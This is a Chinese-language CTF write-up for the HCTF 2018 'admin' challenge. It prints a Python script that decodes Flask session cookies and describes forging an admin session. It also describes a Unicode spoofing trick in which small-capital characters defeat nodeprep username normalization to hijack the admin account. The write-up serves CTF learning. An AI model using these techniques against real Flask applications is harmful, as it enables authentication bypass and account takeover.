[HCTF 2018]admin
有两种解法①session伪造②unicode欺骗
在注册时发现admin已经被注册了,我用的admie注册进入,f12看到注释提示不是管理员、
接着在change password页面看到提示
在index.html发现要将session与admin的session进行比较,相同则输出flag
先用脚本看看session有什么内容
import sys import zlib from base64 import b64decode from flask.sessions import session_json_serializer from itsdangerous import base64_decode def decryption(payload): payload, sig = payload.rsplit(b'.', 1) payload, timestamp = payload.rsplit(b'.', 1) decompress = False if payload.startswith(b'.'): payload = payload[1:] decompress = True try: payload = base64_decode(payload) except Exception as e: raise Exception('Could not base64 decode the payload because of ' 'an exception') if decompress: try: payload = zlib.decompress(payload) except Exception as e: raise Exception('Could not zlib decompress the payload before ' 'decoding the payload') return session_json_serializer.loads(payload) if __name__ == '__main__': print(decryption(sys.argv[1].encode()))
我们将name
的admie
改成admin
就可以了,利用脚本https://github.com/noraj/flask-session-cookie-manager可以进行伪造。
再次尝试,成功
将伪造成功的session用burp改包发送后,成功以admin身份登录
2.unicode欺骗
原题WP对于这个做法没看太懂,简单写一下大致思路
在注册环节,网站会对username进行大小写转换,源码为
def strlower(username): username = nodeprep.prepare(username) return username
假如你注册ADMIN,那么它会转换成admin,然后判断该用户名已被注册。但是用一些特殊字符进行替换,比如ᴀʙᴄᴅᴇꜰɢʜɪᴊᴋʟᴍɴᴏᴘʀꜱᴛᴜᴠᴡʏᴢ
,则是先转换为大写,在转换为小写。
-
注册ᴀdmin
-
ᴀdmin被替换为Admin
-
Admin修改密码,并被替换为admin
-
登录admin,获取flag